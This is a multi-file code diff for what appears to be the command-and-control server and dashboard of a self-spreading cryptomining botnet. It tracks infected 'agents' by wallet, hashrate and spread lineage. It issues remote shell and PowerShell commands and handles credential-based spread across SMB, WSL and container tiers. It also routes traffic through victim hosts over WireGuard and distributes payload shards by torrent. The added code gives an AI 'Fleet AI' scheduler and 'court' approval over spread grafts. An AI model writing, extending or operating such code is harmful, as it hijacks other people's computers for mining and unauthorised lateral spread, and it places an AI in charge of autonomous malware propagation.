firewallDomain = ag.FirewallDomain
|
||||
}
|
||||
h.tryPublishScoutPhenotype(agentID, platform, ip, firewallDomain, report.JoinLane, report.ServiceCount)
|
||||
if strings.TrimSpace(report.SSID) != "" {
|
||||
h.ingestScoutConstellationReport(agentID, report.SSID, report.ServiceCount)
|
||||
}
|
||||
|
||||
case "ai_snapshot":
|
||||
if agentID == "" {
|
||||
@@ -1585,6 +1655,12 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
h.handleAgentAtlasGossip(agentID, msg.Payload)
|
||||
|
||||
case "fleet_torrent_gossip":
|
||||
if agentID == "" {
|
||||
continue
|
||||
}
|
||||
h.handleAgentFleetTorrentGossip(agentID, msg.Payload)
|
||||
|
||||
case "command_result":
|
||||
if agentID == "" {
|
||||
continue
|
||||
@@ -2214,6 +2290,7 @@ func (h *WSHub) tryPublishWinningPhenotype(
|
||||
SourceAgentName: ag.Name,
|
||||
})
|
||||
}
|
||||
h.publishStrainCardForWinner(agentID, ag.Name, strings.TrimSpace(joinLane), tierOrder, miningHashrate, stratAttempts)
|
||||
}
|
||||
|
||||
func (h *WSHub) tryPublishScoutPhenotype(
|
||||
@@ -2549,6 +2626,14 @@ func (h *WSHub) BroadcastEmberwakeNotes(notes interface{}) {
|
||||
})
|
||||
}
|
||||
|
||||
// BroadcastSeerNotesUpdated pushes a new Seer memory note to dashboard clients.
|
||||
func (h *WSHub) BroadcastSeerNotesUpdated(note interface{}) {
|
||||
h.broadcastDashboard(Message{
|
||||
Type: "seer_notes_updated",
|
||||
Payload: mustMarshal(note),
|
||||
})
|
||||
}
|
||||
|
||||
// warRoomBroadcastInterval is the Emberwake war-room WS tick (overridable in tests).
|
||||
var warRoomBroadcastInterval = 30 * time.Second
|
||||
|
||||
|
||||
@@ -135,6 +135,11 @@ type BuildRequest struct {
|
||||
SpreadGeneration int `json:"spread_generation"`
|
||||
JoinLane string `json:"join_lane"` // used to derive spread_strain color at bake time
|
||||
|
||||
// Genealogy graft — court-approved strain splice (telemetry; applied on next spread).
|
||||
GraftSourceStrain string `json:"graft_source_strain,omitempty"`
|
||||
GraftTier string `json:"graft_tier,omitempty"`
|
||||
GraftApprovedAt string `json:"graft_approved_at,omitempty"`
|
||||
|
||||
// Fleet role split — seeder serves LAN staging only; miner hashes RandomX.
|
||||
FleetRole string `json:"fleet_role,omitempty"` // miner | seeder | auto
|
||||
SeederMode bool `json:"seeder_mode,omitempty"`
|
||||
@@ -1323,6 +1328,10 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
SpreadStrain: %q,
|
||||
BakedJoinLane: %q,
|
||||
|
||||
GraftSourceStrain: %q,
|
||||
GraftTier: %q,
|
||||
GraftApprovedAt: %q,
|
||||
|
||||
ApkMode: %v,
|
||||
ScoutMode: %v,
|
||||
MiningDisabled: %v,
|
||||
@@ -1416,6 +1425,9 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
req.SpreadGeneration,
|
||||
spreadStrainFromJoinLane(req.JoinLane),
|
||||
strings.TrimSpace(req.JoinLane),
|
||||
strings.TrimSpace(req.GraftSourceStrain),
|
||||
strings.TrimSpace(req.GraftTier),
|
||||
strings.TrimSpace(req.GraftApprovedAt),
|
||||
req.ApkMode,
|
||||
req.ScoutMode,
|
||||
req.MiningDisabled,
|
||||
|
||||
@@ -52,7 +52,7 @@ func ActionRequiredLevel(action string) int {
|
||||
return L2
|
||||
case "exec", "exec_shell", "powershell", "agent_command":
|
||||
return L3
|
||||
case "fetch_module", "set_agent_version", "reorder_tiers", "adaptive_strategy_update":
|
||||
case "fetch_module", "set_agent_version", "reorder_tiers", "adaptive_strategy_update", "spread_graft":
|
||||
return L4
|
||||
default:
|
||||
return L0
|
||||
@@ -83,7 +83,7 @@ func CommandRequiredLevel(cmdType string, args map[string]interface{}) int {
|
||||
}
|
||||
}
|
||||
return L1
|
||||
case "set_agent_version", "reorder_tiers":
|
||||
case "set_agent_version", "reorder_tiers", "spread_graft":
|
||||
return L4
|
||||
default:
|
||||
return ActionRequiredLevel(typ)
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"encoding/json"
|
||||
"log"
|
||||
"strings"
|
||||
@@ -36,6 +37,8 @@ func (d *Database) scanAgent(row interface {
|
||||
var notes, tagsRaw string
|
||||
var usbSpread int
|
||||
var gpuMinerActive int
|
||||
var graftStrain, graftTier sql.NullString
|
||||
var graftApproved sql.NullString
|
||||
err := row.Scan(
|
||||
&a.ID, &a.Name, &a.Wallet, &a.IP, &a.Version, &a.Status,
|
||||
&a.CPUCores, &a.MemoryGB, &a.LastSeen, &a.CreatedAt,
|
||||
@@ -46,6 +49,7 @@ func (d *Database) scanAgent(row interface {
|
||||
&a.BuildID, &a.WorkerName, &usbSpread, &a.Campaign,
|
||||
&a.GPUHashrate15m, &a.GPUModel, &gpuMinerActive,
|
||||
&a.ParentAgentID, &a.SpreadGeneration, &a.SpreadStrain,
|
||||
&graftStrain, &graftTier, &graftApproved,
|
||||
)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
@@ -57,6 +61,7 @@ func (d *Database) scanAgent(row interface {
|
||||
active := true
|
||||
a.GPUMinerActive = &active
|
||||
}
|
||||
a.GraftSourceStrain, a.GraftTier, a.GraftApprovedAt = scanGraftFields(graftStrain, graftTier, graftApproved)
|
||||
return a, nil
|
||||
}
|
||||
|
||||
@@ -64,7 +69,8 @@ const agentSelectCols = `id, name, wallet, ip, version, status, cpu_cores, memor
|
||||
hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad,
|
||||
cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags, platform, arch, os_version, hostname, mac_address,
|
||||
build_id, worker_name, usb_spread, campaign, gpu_hashrate_15m, gpu_model, gpu_miner_active,
|
||||
parent_agent_id, spread_generation, spread_strain`
|
||||
parent_agent_id, spread_generation, spread_strain,
|
||||
graft_source_strain, graft_tier, graft_approved_at`
|
||||
|
||||
func (d *Database) UpdateAgentMeta(id, notes string, tags []string) error {
|
||||
_, err := d.Exec(`UPDATE agents SET notes = ?, tags = ? WHERE id = ?`, notes, encodeTags(tags), id)
|
||||
|
||||
@@ -141,6 +141,9 @@ func (d *Database) migrate() error {
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN parent_agent_id TEXT NOT NULL DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN spread_generation INTEGER NOT NULL DEFAULT 0`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN spread_strain TEXT NOT NULL DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN graft_source_strain TEXT NOT NULL DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN graft_tier TEXT NOT NULL DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN graft_approved_at DATETIME`)
|
||||
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN public INTEGER NOT NULL DEFAULT 0`)
|
||||
|
||||
extraMigrations := []string{
|
||||
@@ -241,6 +244,22 @@ func (d *Database) migrate() error {
|
||||
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
|
||||
)`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_fleet_phenotypes_fingerprint ON fleet_phenotypes(fingerprint)`,
|
||||
`CREATE TABLE IF NOT EXISTS strain_cards (
|
||||
id TEXT PRIMARY KEY,
|
||||
root_agent_id TEXT NOT NULL UNIQUE,
|
||||
source_agent_id TEXT NOT NULL,
|
||||
source_agent_name TEXT NOT NULL DEFAULT '',
|
||||
spread_strain TEXT NOT NULL DEFAULT '',
|
||||
spread_lane TEXT NOT NULL DEFAULT '',
|
||||
persona TEXT NOT NULL DEFAULT 'balanced',
|
||||
card_json TEXT NOT NULL DEFAULT '{}',
|
||||
peak_hashrate REAL NOT NULL DEFAULT 0,
|
||||
erasure_recovery_rate REAL NOT NULL DEFAULT 0,
|
||||
tree_size INTEGER NOT NULL DEFAULT 0,
|
||||
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
|
||||
)`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_strain_cards_source ON strain_cards(source_agent_id)`,
|
||||
`CREATE TABLE IF NOT EXISTS pathtrace_sessions (
|
||||
id TEXT PRIMARY KEY,
|
||||
created_at DATETIME NOT NULL,
|
||||
@@ -248,6 +267,12 @@ func (d *Database) migrate() error {
|
||||
)`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_pathtrace_sessions_created ON pathtrace_sessions(created_at)`,
|
||||
}
|
||||
if err := d.ensureStrainMemoryTable(); err != nil {
|
||||
return fmt.Errorf("strain_memory migration: %w", err)
|
||||
}
|
||||
if err := d.ensureSeerTables(); err != nil {
|
||||
return fmt.Errorf("seer migration: %w", err)
|
||||
}
|
||||
for _, m := range extraMigrations {
|
||||
if _, err := d.Exec(m); err != nil {
|
||||
return fmt.Errorf("migration failed: %w\nSQL: %s", err, m)
|
||||
|
||||
@@ -127,6 +127,11 @@ type Agent struct {
|
||||
SpreadGeneration int `json:"spread_generation,omitempty"`
|
||||
SpreadStrain string `json:"spread_strain,omitempty"`
|
||||
|
||||
// Genealogy graft — court-approved strain splice from a tier-success sibling (telemetry only).
|
||||
GraftSourceStrain string `json:"graft_source_strain,omitempty"`
|
||||
GraftTier string `json:"graft_tier,omitempty"`
|
||||
GraftApprovedAt *time.Time `json:"graft_approved_at,omitempty"`
|
||||
|
||||
// Session security clearance (L0–L4); set live by WSHub, not persisted.
|
||||
ClearanceLevel int `json:"clearance_level,omitempty"`
|
||||
|
||||
|
||||
@@ -91,6 +91,8 @@ type RouteRecommendation struct {
|
||||
Score float64 `json:"score"`
|
||||
Reason string `json:"reason,omitempty"`
|
||||
ErasureLanesEnabled bool `json:"erasure_lanes_enabled,omitempty"`
|
||||
SwarmMagnet string `json:"swarm_magnet,omitempty"`
|
||||
ShardManifestURLs []string `json:"shard_manifest_urls,omitempty"`
|
||||
}
|
||||
|
||||
// SpreadRouteHint is attached to signed deploy plans for agent egress routing.
|
||||
@@ -106,6 +108,10 @@ type SpreadRouteHint struct {
|
||||
ClearanceLevel int `json:"clearance_level,omitempty"`
|
||||
// ErasureLanesEnabled signals parallel Reed–Solomon lane redundancy on deploy plans.
|
||||
ErasureLanesEnabled bool `json:"erasure_lanes_enabled,omitempty"`
|
||||
// SwarmMagnet is the fleet torrent magnet link for erasure shard swarm discovery.
|
||||
SwarmMagnet string `json:"swarm_magnet,omitempty"`
|
||||
// ShardManifestURLs lists C2/public shard fetch URLs for BGP spread hints.
|
||||
ShardManifestURLs []string `json:"shard_manifest_urls,omitempty"`
|
||||
}
|
||||
|
||||
// RouteTable holds weighted edges and recommendations.
|
||||
|
||||
@@ -148,6 +148,7 @@ func main() {
|
||||
aiHandler.SetEventBroadcaster(func(entry api.AIActivityEntry) {
|
||||
wsHub.BroadcastAIActivity(entry)
|
||||
})
|
||||
wsHub.WireDefaultEpidemiologyReporter()
|
||||
|
||||
// Stream all server logs to the dashboard Master Terminal
|
||||
log.SetOutput(io.MultiWriter(os.Stdout, &wsLogWriter{hub: wsHub}))
|
||||
@@ -273,18 +274,16 @@ func main() {
|
||||
defer fleetSched.Stop()
|
||||
wsHub.SetConnectTaskRunner(fleetSched)
|
||||
|
||||
courtChamber := api.NewHubCourtChamberAdapter(wsHub, database)
|
||||
fleetAISched := fleetai.NewScheduler(
|
||||
&api.ConfigAIAdapter{Src: configProvider},
|
||||
&api.WSHubSnapshotAdapter{Hub: wsHub},
|
||||
&api.ClearanceGuardExecutor{Inner: &api.FleetAIExecutor{Hub: wsHub}, Clearance: wsHub.ClearanceManager()},
|
||||
&api.DatabaseAIDecisionStore{DB: database},
|
||||
&api.DatabaseCourtAdapter{DB: database},
|
||||
courtChamber,
|
||||
wsHub.ClearanceManager(),
|
||||
)
|
||||
fleetAISched.Start()
|
||||
defer fleetAISched.Stop()
|
||||
fleetAIHandler := api.NewFleetAIHandler(configProvider, database)
|
||||
log.Println("Fleet AI Control scheduler initialized")
|
||||
|
||||
// Initialize blueprint handler (config presets)
|
||||
blueprintHandler := api.NewBlueprintHandler(cfg.DataDir)
|
||||
@@ -321,6 +320,31 @@ func main() {
|
||||
// Path Tracer: on-demand WireGuard multi-hop VPN builder
|
||||
pathTracerHandler := api.NewPathTracerHandler(wsHub)
|
||||
deployPlanHandler.BindPathTracer(pathTracerHandler)
|
||||
spreadCredHandler.BindAutopsyTrigger(wsHub, pathTracerHandler)
|
||||
|
||||
seerEmitter := &api.HubSeerEmitter{Hub: wsHub, DB: database}
|
||||
fleetAISched.SetSurgicalDeps(fleetai.SurgicalDeps{
|
||||
Trace: &api.PathTraceSurgicalAdapter{Hub: wsHub, PathTrace: pathTracerHandler},
|
||||
Strain: &api.DatabaseStrainMemoryAdapter{DB: database},
|
||||
Seer: seerEmitter,
|
||||
StrainLookup: func(agentID string) string {
|
||||
return api.StrainFromAgent(wsHub, agentID)
|
||||
},
|
||||
ErasureActive: func() bool {
|
||||
return wsHub.PolicyErasureEnabled()
|
||||
},
|
||||
})
|
||||
fleetAISched.SetCourtDeps(fleetai.CourtDeps{
|
||||
Chamber: courtChamber,
|
||||
Seer: seerEmitter,
|
||||
Emberwake: func(agentID string, transcript fleetai.CourtDebateTranscript) {
|
||||
wsHub.BroadcastEmberwakeCourtDebate(agentID, transcript)
|
||||
},
|
||||
})
|
||||
fleetAISched.SetSeerBridge(&api.SeerBridge{DB: database, Hub: wsHub})
|
||||
fleetAISched.Start()
|
||||
defer fleetAISched.Stop()
|
||||
log.Println("Fleet AI Control scheduler initialized")
|
||||
|
||||
// Find web root for frontend
|
||||
webRoot := findWebRoot()
|
||||
@@ -408,6 +432,7 @@ func applyRuntimeConfig(cfg *Config, wsHub *api.WSHub, poolManager *pool.Manager
|
||||
HashrateGateSpreadMin: cfg.Server.HashrateGateSpreadMin,
|
||||
HashrateGateHPS: cfg.Server.HashrateGateHPS,
|
||||
ErasureLanesEnabled: cfg.Server.ErasureLanesEnabled,
|
||||
FleetTorrentEnabled: cfg.Server.FleetTorrentEnabled,
|
||||
})
|
||||
}
|
||||
if poolManager != nil {
|
||||
|
||||
@@ -65,4 +65,50 @@ test.describe('Path Tracer E2E', () => {
|
||||
await expect(page.getByText(/dns_txt/)).toBeVisible();
|
||||
await expect(page.getByText(/RS lanes/)).toBeVisible();
|
||||
});
|
||||
|
||||
test('onion timeline fork button and mermaid panel', async ({ page }) => {
|
||||
await page.route(`**/pathtrace/${SESSION_ID}/status`, async (route) => {
|
||||
await route.fulfill({
|
||||
json: {
|
||||
session_id: SESSION_ID,
|
||||
ready: true,
|
||||
hops: [{ agent_id: E2E_STUB_AGENT_ID, status: 'ready', agent_name: E2E_STUB_AGENT_HOSTNAME }],
|
||||
},
|
||||
});
|
||||
});
|
||||
await page.route(`**/pathtrace/${SESSION_ID}/qr`, async (route) => {
|
||||
await route.fulfill({
|
||||
json: { config: '[Interface]', qr_png_b64: 'iVBORw0KGgo=' },
|
||||
});
|
||||
});
|
||||
await page.route('**/pathtrace/fork', async (route) => {
|
||||
await route.fulfill({
|
||||
json: {
|
||||
ok: true,
|
||||
session_id: SESSION_ID,
|
||||
branches: [
|
||||
{
|
||||
id: 'ghost-e2e-1',
|
||||
fork_hop_index: 0,
|
||||
persona: 'aggressive',
|
||||
status: 'running',
|
||||
is_ghost: true,
|
||||
active_tier: 'smb',
|
||||
},
|
||||
],
|
||||
mermaid: 'graph TD\n fork --> ghost_e2e',
|
||||
},
|
||||
});
|
||||
});
|
||||
|
||||
const card = page.locator('.pt-agent-card').filter({ hasText: E2E_STUB_AGENT_HOSTNAME });
|
||||
await card.click();
|
||||
await page.locator('.pt-actions').getByRole('button', { name: /TRACE/i }).click();
|
||||
await expect(page.getByRole('button', { name: /Fork/i })).toBeVisible({ timeout: 15_000 });
|
||||
await page.getByRole('button', { name: /Fork/i }).click();
|
||||
await expect(page.getByTestId('pt-timeline-tree')).toBeVisible({ timeout: 10_000 });
|
||||
await expect(page.getByText(/aggressive/i)).toBeVisible();
|
||||
await page.getByText('Mermaid branch graph').click();
|
||||
await expect(page.getByTestId('pt-mermaid-src')).toContainText('graph TD');
|
||||
});
|
||||
});
|
||||
|
||||
@@ -24,6 +24,7 @@ const EmberwakePage = lazy(() => import('./pages/EmberwakePage'));
|
||||
const LotlTimelinePage = lazy(() => import('./pages/LotlTimelinePage'));
|
||||
const ROIPage = lazy(() => import('./pages/ROIPage'));
|
||||
const ActivityFeedPage = lazy(() => import('./pages/ActivityFeedPage'));
|
||||
const SeerPage = lazy(() => import('./pages/SeerPage'));
|
||||
|
||||
export function PageFallback() {
|
||||
return (
|
||||
@@ -66,6 +67,7 @@ function App() {
|
||||
<Route path="/onion" element={<Navigate to="/lotl-timeline" replace />} />
|
||||
<Route path="/roi" element={<ROIPage />} />
|
||||
<Route path="/activity" element={<ActivityFeedPage />} />
|
||||
<Route path="/seer" element={<SeerPage />} />
|
||||
</Routes>
|
||||
</Suspense>
|
||||
</Layout>
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, AIDecisionRecord, EarningsEstimate, FusionEstimate, XmrPrice, PathTraceHop, SpreadRouteRecommendation, ServiceGraphHost, PublicBuildsResponse, CampaignHitSummary, EmberwakeNotes } from '../types';
|
||||
import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, AIDecisionRecord, EarningsEstimate, FusionEstimate, XmrPrice, PathTraceHop, SpreadRouteRecommendation, ServiceGraphHost, PublicBuildsResponse, CampaignHitSummary, EmberwakeNotes, SubnetAutopsyPacket } from '../types';
|
||||
import { authHeaders, clearStoredAuth } from './auth';
|
||||
import { BACKUP_DOWNLOAD_TIMEOUT_MS, DOWNLOAD_TIMEOUT_MS, fetchAuthedWithTimeout } from './download';
|
||||
|
||||
@@ -230,6 +230,10 @@ export const api = {
|
||||
params.set('limit', String(limit));
|
||||
return fetchJSON<AIDecisionRecord[]>(`/ai/decisions?${params}`);
|
||||
},
|
||||
getSeerStream: (limit = 100) =>
|
||||
fetchJSON<{ events: import('../types').SeerEventRecord[]; notes: import('../types').SeerNoteRecord[] }>(
|
||||
`/seer/stream?limit=${limit}`,
|
||||
),
|
||||
getClearanceEvents: (agentId?: string, limit = 50) => {
|
||||
const params = new URLSearchParams();
|
||||
if (agentId?.trim()) params.set('agent_id', agentId.trim());
|
||||
@@ -361,6 +365,21 @@ export const api = {
|
||||
'/fleet/modules/push',
|
||||
{ method: 'POST', body: JSON.stringify(body) },
|
||||
),
|
||||
listStrainCards: (agentId?: string) =>
|
||||
fetchJSON<import('../types').StrainCard[]>(
|
||||
agentId ? `/fleet/strain-cards?agent_id=${encodeURIComponent(agentId)}` : '/fleet/strain-cards',
|
||||
),
|
||||
playStrainCard: (body: { agent_id: string; card_id: string }) =>
|
||||
fetchJSON<{
|
||||
success: boolean;
|
||||
agent_id?: string;
|
||||
card_id?: string;
|
||||
play_id?: string;
|
||||
persona?: string;
|
||||
strain?: string;
|
||||
queued?: boolean;
|
||||
error?: string;
|
||||
}>('/fleet/play-strain-card', { method: 'POST', body: JSON.stringify(body) }),
|
||||
|
||||
// Public builds (unauthenticated — used on login page)
|
||||
listPublicBuilds: async (): Promise<PublicBuildsResponse> => {
|
||||
@@ -481,6 +500,13 @@ export const api = {
|
||||
discover_error?: string;
|
||||
discovered_at?: string;
|
||||
spread_routes?: SpreadRouteRecommendation[];
|
||||
timeline_root_id?: string;
|
||||
timeline_branches?: import('../help/pathTracerTimeline').PathTraceTimelineBranch[];
|
||||
merged_persona?: string;
|
||||
merged_spread_lane?: string;
|
||||
merged_branch_id?: string;
|
||||
merged_hashrate?: number;
|
||||
mermaid?: string;
|
||||
}>(`/pathtrace/${id}/status`),
|
||||
spreadRouteTrace: (sessionId: string, targetSubnets: string[], joinLane?: string) =>
|
||||
fetchJSON<{
|
||||
@@ -508,6 +534,36 @@ export const api = {
|
||||
deleteTrace: (id: string) =>
|
||||
fetchJSON<{ ok: boolean }>(`/pathtrace/${id}`, { method: 'DELETE' }),
|
||||
|
||||
getSubnetAutopsy: (subnet: string) =>
|
||||
fetchJSON<SubnetAutopsyPacket>(`/atlas/subnet-autopsy?subnet=${encodeURIComponent(subnet)}`),
|
||||
forkTraceTimeline: (sessionId: string, forkHopIndex: number, personas?: string[]) =>
|
||||
fetchJSON<{
|
||||
ok: boolean;
|
||||
session_id: string;
|
||||
branches: import('../help/pathTracerTimeline').PathTraceTimelineBranch[];
|
||||
mermaid: string;
|
||||
}>('/pathtrace/fork', {
|
||||
method: 'POST',
|
||||
body: JSON.stringify({
|
||||
session_id: sessionId,
|
||||
fork_hop_index: forkHopIndex,
|
||||
personas: personas ?? [],
|
||||
}),
|
||||
}),
|
||||
mergeTraceTimeline: (sessionId: string, branchId: string) =>
|
||||
fetchJSON<{
|
||||
ok: boolean;
|
||||
session_id: string;
|
||||
merged_branch_id: string;
|
||||
merged_persona: string;
|
||||
merged_spread_lane?: string;
|
||||
branches: import('../help/pathTracerTimeline').PathTraceTimelineBranch[];
|
||||
mermaid: string;
|
||||
}>('/pathtrace/merge', {
|
||||
method: 'POST',
|
||||
body: JSON.stringify({ session_id: sessionId, branch_id: branchId }),
|
||||
}),
|
||||
|
||||
// Cancel an in-progress forge build by its cancel token.
|
||||
cancelBuild: (cancelToken: string) =>
|
||||
fetchJSON<{ cancelled: boolean }>(`/builder/cancel/${encodeURIComponent(cancelToken)}`, {
|
||||
|
||||
@@ -291,3 +291,56 @@
|
||||
border: 1px solid rgba(255, 255, 255, 0.25);
|
||||
flex-shrink: 0;
|
||||
}
|
||||
|
||||
.access-depth-strain-cards {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 0.35rem;
|
||||
margin-top: 0.35rem;
|
||||
}
|
||||
|
||||
.access-depth-strain-card {
|
||||
border: 1px solid rgba(255, 255, 255, 0.12);
|
||||
border-left: 3px solid var(--strain-accent, #6a8fad);
|
||||
border-radius: 4px;
|
||||
padding: 0.35rem 0.45rem;
|
||||
background: rgba(0, 0, 0, 0.2);
|
||||
}
|
||||
|
||||
.access-depth-strain-card[data-strain] {
|
||||
--strain-accent: #6a8fad;
|
||||
}
|
||||
|
||||
.access-depth-strain-card-head {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 0.35rem;
|
||||
font-size: 0.72rem;
|
||||
}
|
||||
|
||||
.access-depth-strain-card-title {
|
||||
flex: 1;
|
||||
color: #e0e8f0;
|
||||
text-transform: lowercase;
|
||||
}
|
||||
|
||||
.access-depth-strain-play {
|
||||
font-size: 0.65rem;
|
||||
padding: 0.1rem 0.4rem;
|
||||
border: 1px solid rgba(255, 255, 255, 0.2);
|
||||
border-radius: 3px;
|
||||
background: rgba(255, 255, 255, 0.06);
|
||||
color: #c8e6ff;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
.access-depth-strain-play:disabled {
|
||||
opacity: 0.45;
|
||||
cursor: not-allowed;
|
||||
}
|
||||
|
||||
.access-depth-strain-card-meta {
|
||||
font-size: 0.65rem;
|
||||
color: #98a8b8;
|
||||
margin-top: 0.15rem;
|
||||
}
|
||||
|
||||
@@ -11,6 +11,7 @@ import {
|
||||
parseAccessDepthDiagnostics,
|
||||
parseAccessDepthServerPolicy,
|
||||
} from '../../help/accessDepth';
|
||||
import { api } from '../../api/client';
|
||||
|
||||
vi.mock('../../hooks/useWebSocket', () => ({
|
||||
useWebSocket: () => ({ latestMessage: null }),
|
||||
@@ -27,6 +28,8 @@ vi.mock('../../api/client', () => ({
|
||||
},
|
||||
},
|
||||
}),
|
||||
listStrainCards: vi.fn().mockResolvedValue([]),
|
||||
playStrainCard: vi.fn().mockResolvedValue({ success: true }),
|
||||
},
|
||||
}));
|
||||
|
||||
@@ -228,6 +231,32 @@ describe('AccessDepthPanel', () => {
|
||||
expect(screen.getByText(/parent 11112222/i)).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('renders lineage strain card with play control', async () => {
|
||||
vi.mocked(api.listStrainCards).mockResolvedValueOnce([
|
||||
{
|
||||
id: 'card-1',
|
||||
root_agent_id: 'root',
|
||||
source_agent_id: 'a1',
|
||||
source_agent_name: 'Winner',
|
||||
spread_strain: '#a1b2c3',
|
||||
spread_lane: 'dns_txt',
|
||||
persona: 'persuasive',
|
||||
parents: [],
|
||||
wins: ['container', 'wsl'],
|
||||
losses: ['docker'],
|
||||
subnets: ['10.0.0.x'],
|
||||
erasure_recovery_rate: 1,
|
||||
peak_hashrate: 800,
|
||||
tier_order: ['container', 'wsl'],
|
||||
tree_size: 2,
|
||||
},
|
||||
]);
|
||||
renderPanel(mockAgent({ id: 'a1', status: 'online' }));
|
||||
expect(await screen.findByText(/strain · persuasive/i)).toBeInTheDocument();
|
||||
expect(screen.getByText(/2W · 1L · 1 subnets · erasure 100%/i)).toBeInTheDocument();
|
||||
expect(screen.getByRole('button', { name: /play/i })).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('renders clearance badge L0–L4 with tooltip permissions', () => {
|
||||
renderPanel(mockAgent({ clearance_level: 2 }));
|
||||
const badge = screen.getByLabelText(/Clearance L2/i);
|
||||
|
||||
@@ -13,7 +13,7 @@ import {
|
||||
formatClearanceElevation,
|
||||
} from '../../help/clearance';
|
||||
import { useWebSocket } from '../../hooks/useWebSocket';
|
||||
import type { Agent } from '../../types';
|
||||
import type { Agent, StrainCard } from '../../types';
|
||||
import { HelpTip } from '../HelpTip';
|
||||
import JoinLaneBadge from './JoinLaneBadge';
|
||||
import LotlTierBadge from './LotlTierBadge';
|
||||
@@ -77,6 +77,8 @@ export default function AccessDepthPanel({ agent, diagnostics }: Props) {
|
||||
const [policyLoaded, setPolicyLoaded] = useState(false);
|
||||
const [serverPolicy, setServerPolicy] = useState(parseAccessDepthServerPolicy({}));
|
||||
const [elevationFlash, setElevationFlash] = useState<string | null>(null);
|
||||
const [strainCards, setStrainCards] = useState<StrainCard[]>([]);
|
||||
const [strainPlayBusy, setStrainPlayBusy] = useState<string | null>(null);
|
||||
const flashTimerRef = useRef<number | null>(null);
|
||||
|
||||
const clearanceLevel = agent.clearance_level ?? 1;
|
||||
@@ -124,6 +126,44 @@ export default function AccessDepthPanel({ agent, diagnostics }: Props) {
|
||||
};
|
||||
}, []);
|
||||
|
||||
useEffect(() => {
|
||||
let cancelled = false;
|
||||
api
|
||||
.listStrainCards(agent.id)
|
||||
.then((cards) => {
|
||||
if (!cancelled) setStrainCards(cards ?? []);
|
||||
})
|
||||
.catch(() => {
|
||||
if (!cancelled) setStrainCards([]);
|
||||
});
|
||||
return () => {
|
||||
cancelled = true;
|
||||
};
|
||||
}, [agent.id]);
|
||||
|
||||
useEffect(() => {
|
||||
if (!latestMessage) return;
|
||||
if (latestMessage.type === 'strain_card' || latestMessage.type === 'strain_card_played') {
|
||||
const p = latestMessage.payload as { card?: StrainCard; agent_id?: string };
|
||||
if (p.card && (p.card.source_agent_id === agent.id || p.card.root_agent_id === agent.id || p.agent_id === agent.id)) {
|
||||
setStrainCards((prev) => {
|
||||
const next = prev.filter((c) => c.id !== p.card!.id);
|
||||
return [p.card!, ...next];
|
||||
});
|
||||
}
|
||||
}
|
||||
}, [latestMessage, agent.id]);
|
||||
|
||||
const playStrainCard = async (card: StrainCard) => {
|
||||
if (strainPlayBusy) return;
|
||||
setStrainPlayBusy(card.id);
|
||||
try {
|
||||
await api.playStrainCard({ agent_id: agent.id, card_id: card.id });
|
||||
} finally {
|
||||
setStrainPlayBusy(null);
|
||||
}
|
||||
};
|
||||
|
||||
const model = useMemo(
|
||||
() => buildAccessDepthModel(agent, diagnostics, serverPolicy),
|
||||
[agent, diagnostics, serverPolicy],
|
||||
@@ -205,6 +245,45 @@ export default function AccessDepthPanel({ agent, diagnostics }: Props) {
|
||||
) : null}
|
||||
</div>
|
||||
)}
|
||||
{strainCards.length > 0 && (
|
||||
<div className="access-depth-strain-cards">
|
||||
{strainCards.slice(0, 2).map((card) => (
|
||||
<div
|
||||
key={card.id}
|
||||
className="access-depth-strain-card"
|
||||
data-strain={card.spread_strain?.replace(/^#/, '') ?? ''}
|
||||
>
|
||||
<div className="access-depth-strain-card-head">
|
||||
{card.spread_strain ? (
|
||||
<span
|
||||
className="access-depth-strain-swatch"
|
||||
style={{ backgroundColor: card.spread_strain }}
|
||||
aria-hidden
|
||||
/>
|
||||
) : null}
|
||||
<span className="access-depth-strain-card-title">
|
||||
strain · {card.persona}
|
||||
</span>
|
||||
<button
|
||||
type="button"
|
||||
className="access-depth-strain-play"
|
||||
disabled={agent.status !== 'online' || strainPlayBusy === card.id}
|
||||
onClick={() => playStrainCard(card)}
|
||||
title={`Play ${card.source_agent_name} lineage preset`}
|
||||
>
|
||||
{strainPlayBusy === card.id ? '…' : 'play'}
|
||||
</button>
|
||||
</div>
|
||||
<div className="access-depth-strain-card-meta">
|
||||
{card.wins.length}W · {card.losses.length}L · {card.subnets.length} subnets
|
||||
{card.erasure_recovery_rate > 0
|
||||
? ` · erasure ${Math.round(card.erasure_recovery_rate * 100)}%`
|
||||
: ''}
|
||||
</div>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
)}
|
||||
{model.phenotypeSource && (
